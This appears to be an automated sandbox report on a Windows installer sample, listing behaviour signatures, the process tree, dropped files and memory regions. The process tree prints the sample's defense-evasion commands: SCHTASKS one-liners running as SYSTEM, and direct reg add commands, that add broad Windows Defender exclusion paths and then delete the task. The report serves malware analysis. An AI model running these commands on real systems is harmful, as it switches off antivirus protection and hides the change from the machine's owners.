Analysis

  • max time kernel
    150s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    05/08/2026, 04:32

General

  • Target
    setup_r8015.exe
  • Size 40.9MB
  • Sample260805-e51syayblg
  • SHA256 180040bb184cd27234ded42c9c5ec5e3c8affc13d0bcaf26221d0e7616c81a03
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 6 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 4 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\setup_r8015.exe
    "C:\Users\Admin\AppData\Local\Temp\setup_r8015.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:3596
  • C:\Users\Public\7eNeqT\dcbXVl.exe
    C:\Users\Public\7eNeqT\dcbXVl.exe
    1⤵
    • Checks computer location settings
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5816
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\7eNeqT\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:1728
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\7eNeqT\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:980
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:4256
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:3460
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:3692
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4476
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:4136
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:4484
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:4536
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:4236
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:3204
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:2000
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:1568
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:4916
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:4964
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:3384
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:4660
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:4404
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:5004
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:3880
                      • C:\Users\Public\7eNeqT\dcbXVl.exe
                        "C:\Users\Public\7eNeqT\dcbXVl.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:3188
                      • C:\Windows\system32\cmd.exe
                        cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\7eNeqT" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:2752
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\7eNeqT" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:1676
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:3308
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4876
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:1088
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:1204
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:2712

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

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                              Downloads

                              UxEnhance64.dll

                              • Path C:\Users\Public\7eNeqT\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 814c9c59ad577554de5f727eb53b06bafd631e7c01265c31e04a7267759df73e
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\7eNeqT\adoresd.dat
                              • Size 4.7MB
                              • SHA256 6925f0a3368c4fa42e1df013300ad3c2afce75019b74834102f2dd4912ee4339
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              dcbXVl.exe

                              • Path C:\Users\Public\7eNeqT\dcbXVl.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\7eNeqT\msadox.tb
                              • Size 8KB
                              • SHA256 d4628af53e512c8252fe834da786031c6c322b29898f2cc06bafe138dbf51d79
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/3188-586-0x00000172A40E0000-0x00000172A4971000-memory.dmp

                              memory/3188-587-0x00007FFFB5E30000-0x00007FFFB5E32000-memory.dmp

                              memory/3188-574-0x00000172A40E0000-0x00000172A4971000-memory.dmp

                              memory/3188-578-0x00007FFFB5E40000-0x00007FFFB5E42000-memory.dmp

                              memory/3188-584-0x00000172A40E0000-0x00000172A4971000-memory.dmp

                              memory/3188-579-0x00000172A40E0000-0x00000172A4971000-memory.dmp

                              memory/3188-583-0x00000172A40E0000-0x00000172A4971000-memory.dmp

                              memory/3188-585-0x00000172A40E0000-0x00000172A4971000-memory.dmp

                              memory/3188-570-0x00007FFF99600000-0x00007FFF99B1E000-memory.dmp

                              memory/3596-1-0x00000000001F0000-0x00000000001FD000-memory.dmp

                              memory/3596-524-0x00000000001F0000-0x00000000001FD000-memory.dmp

                              memory/3596-2-0x0000000000510000-0x000000000051B000-memory.dmp

                              memory/3596-0-0x00000000001F0000-0x00000000001FD000-memory.dmp

                              memory/3596-504-0x00007FFFB0880000-0x00007FFFB0890000-memory.dmp

                              memory/3596-525-0x00007FFFB0880000-0x00007FFFB0890000-memory.dmp

                              memory/5816-531-0x00007FFF99600000-0x00007FFF99B1E000-memory.dmp

                              memory/5816-559-0x0000023A0E5A0000-0x0000023A0E62A000-memory.dmp

                              memory/5816-558-0x0000023A0E5A0000-0x0000023A0E62A000-memory.dmp

                              memory/5816-557-0x0000023A0E5A0000-0x0000023A0E62A000-memory.dmp

                              memory/5816-556-0x0000023A0E5A0000-0x0000023A0E62A000-memory.dmp

                              memory/5816-555-0x0000023A0E4C0000-0x0000023A0E50E000-memory.dmp

                              memory/5816-564-0x0000023A0EFD0000-0x0000023A0F861000-memory.dmp

                              memory/5816-565-0x0000023A0EFD0000-0x0000023A0F861000-memory.dmp

                              memory/5816-550-0x0000023A0EFD0000-0x0000023A0F861000-memory.dmp

                              memory/5816-545-0x0000023A0EFD0000-0x0000023A0F861000-memory.dmp

                              memory/5816-546-0x0000023A0EFD0000-0x0000023A0F861000-memory.dmp

                              memory/5816-544-0x0000023A0EFD0000-0x0000023A0F861000-memory.dmp

                              memory/5816-543-0x0000023A0EFD0000-0x0000023A0F861000-memory.dmp

                              memory/5816-538-0x00007FFFB5E40000-0x00007FFFB5E42000-memory.dmp

                              memory/5816-539-0x0000023A0EFD0000-0x0000023A0F861000-memory.dmp

                              memory/5816-536-0x0000023A0EFD0000-0x0000023A0F861000-memory.dmp

                              memory/5816-530-0x00007FFFB5E30000-0x00007FFFB5E32000-memory.dmp

                              memory/5816-597-0x0000023A0EFD0000-0x0000023A0F861000-memory.dmp